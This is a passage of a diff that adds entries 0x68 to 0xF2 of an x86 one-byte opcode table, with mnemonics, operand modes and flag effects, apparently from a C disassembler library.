+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { AMODE_I | OPTYPE_z | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x68 */
+ { NOGROUP, CPU_I386, ITYPE_MUL, "imul", { AMODE_G | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_v | OP_SIGNED | OP_SRC, AMODE_I | OPTYPE_z | OP_SIGNED | OP_SRC }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x69 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x6A */
+ { NOGROUP, CPU_I386, ITYPE_MUL, "imul", { AMODE_G | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_v | OP_SIGNED | OP_SRC, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x6B */
+ { NOGROUP, CPU_I386, ITYPE_IN, "insb", { AMODE_Y | OPTYPE_b | OP_DST, OPTYPE_REG_DX | OP_SYS | OP_SRC, 0 }, COND_D, NOCHANGE, xDI_DEC | xCX_REP_DEC, xDI_INC | xCX_REP_DEC }, /* 0x6C */
+ { NOGROUP, CPU_I386, ITYPE_IN, "insd", { AMODE_Y | OPTYPE_z | OP_DST, OPTYPE_REG_DX | OP_SYS | OP_SRC, 0 }, COND_D, NOCHANGE, xDI_DECx | xCX_REP_DEC, xDI_INCx | xCX_REP_DEC }, /* 0x6D */
+ { NOGROUP, CPU_I386, ITYPE_OUT, "outsb", { OPTYPE_REG_DX | OP_SYS | OP_DST, AMODE_X | OPTYPE_b | OP_SRC, 0 }, COND_D, NOCHANGE, xSI_DEC | xCX_REP_DEC, xSI_INC | xCX_REP_DEC }, /* 0x6E */
+ { NOGROUP, CPU_I386, ITYPE_OUT, "outsd", { OPTYPE_REG_DX | OP_SYS | OP_DST, AMODE_X | OPTYPE_z | OP_SRC, 0 }, COND_D, NOCHANGE, xSI_DECx | xCX_REP_DEC, xSI_INCx | xCX_REP_DEC}, /* 0x6F */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jo", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_O, NOCHANGE, OP1_DST, NOACTION }, /* 0x70 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jno", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_NO, NOCHANGE, OP1_DST, NOACTION }, /* 0x71 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jb", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_C, NOCHANGE, OP1_DST, NOACTION }, /* 0x72 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jnb", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_NC, NOCHANGE, OP1_DST, NOACTION }, /* 0x73 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jz", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_Z, NOCHANGE, OP1_DST, NOACTION }, /* 0x74 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jnz", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_NZ, NOCHANGE, OP1_DST, NOACTION }, /* 0x75 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jbe", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_BE, NOCHANGE, OP1_DST, NOACTION }, /* 0x76 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "ja", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_A, NOCHANGE, OP1_DST, NOACTION }, /* 0x77 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "js", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_S, NOCHANGE, OP1_DST, NOACTION }, /* 0x78 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jns", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_NS, NOCHANGE, OP1_DST, NOACTION }, /* 0x79 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jpe", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_PE, NOCHANGE, OP1_DST, NOACTION }, /* 0x7A */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jpo", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_PO, NOCHANGE, OP1_DST, NOACTION }, /* 0x7B */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jl", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_L, NOCHANGE, OP1_DST, NOACTION }, /* 0x7C */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jge", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_GE, NOCHANGE, OP1_DST, NOACTION }, /* 0x7D */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jle", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_LE, NOCHANGE, OP1_DST, NOACTION }, /* 0x7E */
+ { NOGROUP, CPU_I386, ITYPE_BRANCHCC, "jg", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_G, NOCHANGE, OP1_DST, NOACTION }, /* 0x7F */
+ { X86_Group_1_80, GROUP }, /* 0x80 Eb Ib */
+ { X86_Group_1_81, GROUP }, /* 0x81 Ev Iz */
+ { X86_Group_1_82, GROUP }, /* 0x82 Eb Ib */
+ { X86_Group_1_83, GROUP }, /* 0x83 Ev Ib */
+ { NOGROUP, CPU_I386, ITYPE_TEST, "test", { AMODE_E | OPTYPE_b | OP_SRC, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x84 */
+ { NOGROUP, CPU_I386, ITYPE_TEST, "test", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x85 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { AMODE_E | OPTYPE_b | OP_SRC | OP_DST, AMODE_G | OPTYPE_b | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x86 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, AMODE_G | OPTYPE_v | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x87 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_E | OPTYPE_b | OP_DST, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x88 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x89 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_G | OPTYPE_b | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x8A */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x8B */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_E | OPTYPE_mw | OP_DST, AMODE_S | OPTYPE_w | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x8C */
+ { NOGROUP, CPU_I386, ITYPE_LEA, "lea", { AMODE_G | OPTYPE_v | OP_DST, AMODE_M | OPTYPE_lea | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x8D */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_S | OPTYPE_w | OP_DST, AMODE_E | OPTYPE_w | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x8E */
+ { X86_Group_10, GROUP }, /* 0x8F */
+ { NOGROUP, CPU_I386, ITYPE_NOP, "nop", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x90 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { OPTYPE_REG_xAX_BIG | OP_SRC | OP_DST, OP_REG | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x91 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { OPTYPE_REG_xAX_BIG | OP_SRC | OP_DST, OP_REG | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x92 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { OPTYPE_REG_xAX_BIG | OP_SRC | OP_DST, OP_REG | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x93 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { OPTYPE_REG_xAX_BIG | OP_SRC | OP_DST, OP_REG | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x94 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { OPTYPE_REG_xAX_BIG | OP_SRC | OP_DST, OP_REG | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x95 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { OPTYPE_REG_xAX_BIG | OP_SRC | OP_DST, OP_REG | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x96 */
+ { NOGROUP, CPU_I386, ITYPE_XCHG, "xchg", { OPTYPE_REG_xAX_BIG | OP_SRC | OP_DST, OP_REG | OP_SRC | OP_DST, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x97 */
+ { NOGROUP, CPU_I386, ITYPE_SZCONV, "cwde", { OPTYPE_REG_xAX_BIG | OP_SIGNED | OP_DST, OPTYPE_REG_xAX_SMALL | OP_SIGNED | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x98 */
+ { NOGROUP, CPU_I386, ITYPE_SZCONV, "cdq", { OPTYPE_xDX_HI_xAX_LO | OP_SIGNED | OP_DST, OPTYPE_REG_xAX_BIG | OP_SIGNED | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x99 */
+ { NOGROUP, CPU_I386, ITYPE_CALL, "call", { AMODE_A | OPTYPE_p | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x9A */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "wait", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x9B */
+ { NOGROUP, CPU_I386, ITYPE_PUSHF, "pushf", { OPTYPE_xFLAGS | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x9C */
+ { NOGROUP, CPU_I386, ITYPE_POPF, "popf", { OPTYPE_xFLAGS | OP_DST, 0, 0 }, NOCOND, FLAG_ALL_MOD, NOACTION, IGNORED }, /* 0x9D */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "sahf", { OPTYPE_FLAGS | OP_DST, OPTYPE_REG_AH | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_AF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x9E */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "lahf", { OPTYPE_REG_AH | OP_DST, OPTYPE_FLAGS | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x9F */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG_AL | OP_DST, AMODE_O | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA0 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_O | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA1 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_O | OPTYPE_b | OP_DST, OPTYPE_REG_AL | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA2 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_O | OPTYPE_v | OP_DST, OPTYPE_REG_xAX_BIG | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xA3 */
+ { NOGROUP, CPU_I386, ITYPE_STRMOV, "movsb", { AMODE_Y | OPTYPE_b | OP_DST, AMODE_X | OPTYPE_b | OP_SRC, 0 }, COND_D, NOCHANGE, xDI_DEC | xSI_DEC | xCX_REP_DEC, xDI_INC | xSI_INC | xCX_REP_DEC}, /* 0xA4 */
+ { NOGROUP, CPU_I386, ITYPE_STRMOV, "movsd", { AMODE_Y | OPTYPE_z | OP_DST, AMODE_X | OPTYPE_z | OP_SRC, 0 }, COND_D, NOCHANGE, xDI_DECx | xSI_DECx| xCX_REP_DEC, xDI_INCx | xSI_INCx | xCX_REP_DEC }, /* 0xA5 */
+ { NOGROUP, CPU_I386, ITYPE_STRCMP, "cmpsb", { AMODE_X | OPTYPE_b | OP_SRC, AMODE_Y | OPTYPE_b | OP_SRC, 0 }, COND_D, FLAG_COMMON_MOD, xDI_DEC | xSI_DEC | xCX_REP_DEC, xDI_INC | xSI_INC | xCX_REP_DEC }, /* 0xA6 */
+ { NOGROUP, CPU_I386, ITYPE_STRCMP, "cmpsd", { AMODE_X | OPTYPE_z | OP_SRC, AMODE_Y | OPTYPE_z | OP_SRC, 0 }, COND_D, FLAG_COMMON_MOD, xDI_DECx | xSI_DECx | xCX_REP_DEC, xDI_INCx | xSI_INCx | xCX_REP_DEC}, /* 0xA7 */
+ { NOGROUP, CPU_I386, ITYPE_TEST, "test", { OPTYPE_REG_AL | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0xA8 */
+ { NOGROUP, CPU_I386, ITYPE_TEST, "test", { OPTYPE_REG_xAX_BIG | OP_SRC, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0xA9 */
+ { NOGROUP, CPU_I386, ITYPE_STRSTOR, "stosb", { AMODE_Y | OPTYPE_b | OP_DST, OPTYPE_REG_AL | OP_SRC, 0 }, COND_D, NOCHANGE, xDI_DEC | xSI_DEC | xCX_REP_DEC, xDI_INC | xSI_INC | xCX_REP_DEC }, /* 0xAA */
+ { NOGROUP, CPU_I386, ITYPE_STRSTOR, "stosd", { AMODE_Y | OPTYPE_z | OP_DST, OPTYPE_REG_xAX_BIG | OP_SRC, 0 }, COND_D, NOCHANGE, xDI_DECx | xSI_DECx | xCX_REP_DEC, xDI_INCx | xSI_INCx | xCX_REP_DEC }, /* 0xAB */
+ { NOGROUP, CPU_I386, ITYPE_STRLOAD, "lodsb", { OPTYPE_REG_AL | OP_DST, AMODE_X | OPTYPE_b | OP_SRC, 0 }, COND_D, NOCHANGE, xSI_DEC | xCX_REP_DEC, xSI_INC | xCX_REP_DEC }, /* 0xAC */
+ { NOGROUP, CPU_I386, ITYPE_STRLOAD, "lodsd", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_X | OPTYPE_z | OP_SRC, 0 }, COND_D, NOCHANGE, xSI_DECx | xCX_REP_DEC, xSI_INCx | xCX_REP_DEC }, /* 0xAD */
+ { NOGROUP, CPU_I386, ITYPE_STRCMP, "scasb", { OPTYPE_REG_AL | OP_SRC, AMODE_Y | OPTYPE_b | OP_SRC, 0 }, COND_D, FLAG_COMMON_MOD, xDI_DEC | xCX_REP_DEC, xDI_INC | xCX_REP_DEC }, /* 0xAE */
+ { NOGROUP, CPU_I386, ITYPE_STRCMP, "scasd", { OPTYPE_REG_xAX_BIG | OP_SRC, AMODE_Y | OPTYPE_z | OP_SRC, 0 }, COND_D, FLAG_COMMON_MOD, xDI_DECx, xDI_INCx }, /* 0xAF */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG8 | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB0 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG8 | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB1 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG8 | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB2 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG8 | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB3 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG8 | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB4 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG8 | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB5 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG8 | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB6 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OPTYPE_REG8 | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB7 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OP_REG | OP_DST, AMODE_I | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB8 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OP_REG | OP_DST, AMODE_I | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xB9 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OP_REG | OP_DST, AMODE_I | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xBA */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OP_REG | OP_DST, AMODE_I | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xBB */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OP_REG | OP_DST, AMODE_I | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xBC */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OP_REG | OP_DST, AMODE_I | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xBD */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OP_REG | OP_DST, AMODE_I | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xBE */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { OP_REG | OP_DST, AMODE_I | OPTYPE_v | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xBF */
+ { X86_Group_2_C0, GROUP }, /* 0xC0 Eb Ib */
+ { X86_Group_2_C1, GROUP }, /* 0xC1 Ev Ib */
+ { NOGROUP, CPU_I386, ITYPE_RET, "ret", { AMODE_I | OPTYPE_w | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC2 */
+ { NOGROUP, CPU_I386, ITYPE_RET, "ret", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC3 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "les", { AMODE_G | OPTYPE_z | OP_DST, AMODE_M | OPTYPE_p | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC4 */
+ { NOGROUP, CPU_I386, ITYPE_MOV, "lds", { AMODE_G | OPTYPE_z | OP_DST, AMODE_M | OPTYPE_p | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC5 */
+ { X86_Group_12_C6, GROUP }, /* 0xC6 Eb Ib */
+ { X86_Group_12_C7, GROUP }, /* 0xC7 Ev Iz */
+ { NOGROUP, CPU_I386, ITYPE_ENTER, "enter", { OPTYPE_REG_xBP | OP_SRC | OP_DST, AMODE_I | OPTYPE_w | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC8 */
+ { NOGROUP, CPU_I386, ITYPE_LEAVE, "leave", { OPTYPE_REG_xBP | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC9 */
+ { NOGROUP, CPU_I386, ITYPE_RET, "retf", { AMODE_I | OPTYPE_w | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCA */
+ { NOGROUP, CPU_I386, ITYPE_RET, "retf", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCB */
+ { NOGROUP, CPU_I386, ITYPE_DEBUG, "int3", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCC */
+ { NOGROUP, CPU_I386, ITYPE_TRAP, "int", { AMODE_I | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xCD */
+ { NOGROUP, CPU_I386, ITYPE_OFLOW, "into", NOARGS, NOCOND, NOCHANGE, NOACTION, NOACTION }, /* 0xCE */
+ { NOGROUP, CPU_I386, ITYPE_TRAPRET, "iret", NOARGS, NOCOND, FLAG_ALL_MOD, NOACTION, IGNORED }, /* 0xCF */
+ { X86_Group_2_D0, GROUP }, /* 0xD0 Eb, 1 */
+ { X86_Group_2_D1, GROUP }, /* 0xD1 Ev, 1 */
+ { X86_Group_2_D2, GROUP }, /* 0xD2 Eb, CL */
+ { X86_Group_2_D3, GROUP }, /* 0xD3 Ev, CL */
+ { NOGROUP, CPU_I386, ITYPE_BCDCONV, "aam", { OPTYPE_REG_AX | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD, NOACTION, IGNORED }, /* 0xD4 */
+ { NOGROUP, CPU_I386, ITYPE_BCDCONV, "aad", { OPTYPE_REG_AX | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD, NOACTION, IGNORED }, /* 0xD5 */
+ { NOGROUP, CPU_I386, ITYPE_ARITH, "salc", { OPTYPE_REG_AL | OP_DST, OPTYPE_FF | OP_SRC, OPTYPE_0 | OP_SRC }, COND_C, NOCHANGE, OP1_DST | OP2_SRC, OP1_DST | OP3_SRC }, /* 0xD6 */
+ { NOGROUP, CPU_I386, ITYPE_XLAT, "xlat", { OPTYPE_REG_AL | OP_DST, AMODE_xlat | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xD7 */
+ { X86_ESC_0, EXT_FPU }, /* 0xD8 */
+ { X86_ESC_1, EXT_FPU }, /* 0xD9 */
+ { X86_ESC_2, EXT_FPU }, /* 0xDA */
+ { X86_ESC_3, EXT_FPU }, /* 0xDB */
+ { X86_ESC_4, EXT_FPU }, /* 0xDC */
+ { X86_ESC_5, EXT_FPU }, /* 0xDD */
+ { X86_ESC_6, EXT_FPU }, /* 0xDE */
+ { X86_ESC_7, EXT_FPU }, /* 0xDF */
+ { NOGROUP, CPU_I386, ITYPE_LOOPCC, "loopnz", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_REG_xCX_BIG_NZ | COND_NZ, NOCHANGE, OP1_DST | xCX_DEC, NOACTION }, /* 0xE0 */
+ { NOGROUP, CPU_I386, ITYPE_LOOPCC, "loopz", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_REG_xCX_BIG_NZ | COND_Z, NOCHANGE, OP1_DST | xCX_DEC, NOACTION }, /* 0xE1 */
+ { NOGROUP, CPU_I386, ITYPE_LOOPCC, "loop", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_REG_xCX_BIG_NZ, NOCHANGE, OP1_DST | xCX_DEC, NOACTION }, /* 0xE2 */
+ { NOGROUP, CPU_I386, ITYPE_LOOPCC, "jecxz", { AMODE_J | OPTYPE_b | OP_SRC | OP_COND_EXEC, 0, 0 }, COND_REG_xCX_BIG_Z, NOCHANGE, OP1_DST, NOACTION }, /* 0xE3 */
+ { NOGROUP, CPU_I386, ITYPE_IN, "in", { OPTYPE_REG_AL | OP_DST, AMODE_I | OPTYPE_b | OP_SYS | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, NOACTION }, /* 0xE4 */
+ { NOGROUP, CPU_I386, ITYPE_IN, "in", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_I | OPTYPE_b | OP_SYS | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, NOACTION }, /* 0xE5 */
+ { NOGROUP, CPU_I386, ITYPE_OUT, "out", { AMODE_I | OPTYPE_b | OP_SYS | OP_DST, OPTYPE_REG_AL | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, NOACTION }, /* 0xE6 */
+ { NOGROUP, CPU_I386, ITYPE_OUT, "out", { AMODE_I | OPTYPE_b | OP_SYS | OP_DST, OPTYPE_REG_xAX_BIG | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, NOACTION }, /* 0xE7 */
+ { NOGROUP, CPU_I386, ITYPE_CALL, "call", { AMODE_J | OPTYPE_z | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE8 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCH, "jmp", { AMODE_J | OPTYPE_z | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xE9 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCH, "jmp", { AMODE_A | OPTYPE_p | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEA */
+ { NOGROUP, CPU_I386, ITYPE_BRANCH, "jmp", { AMODE_J | OPTYPE_b | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEB */
+ { NOGROUP, CPU_I386, ITYPE_IN, "in", { OPTYPE_REG_AL | OP_DST, OPTYPE_REG_DX | OP_SYS | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEC */
+ { NOGROUP, CPU_I386, ITYPE_IN, "in", { OPTYPE_REG_xAX_BIG | OP_DST, OPTYPE_REG_DX | OP_SYS | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xED */
+ { NOGROUP, CPU_I386, ITYPE_OUT, "out", { OPTYPE_REG_DX | OP_SYS | OP_DST, OPTYPE_REG_AL | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEE */
+ { NOGROUP, CPU_I386, ITYPE_OUT, "out", { OPTYPE_REG_DX | OP_SYS | OP_DST, OPTYPE_REG_xAX_BIG | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xEF */
+ { PREFIX }, /* 0xF0 */
+ { NOGROUP, CPU_I386, ITYPE_DEBUG, "int1", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, // aka icebp /* 0xF1 */
+ { PREFIX }, /* 0xF2 */
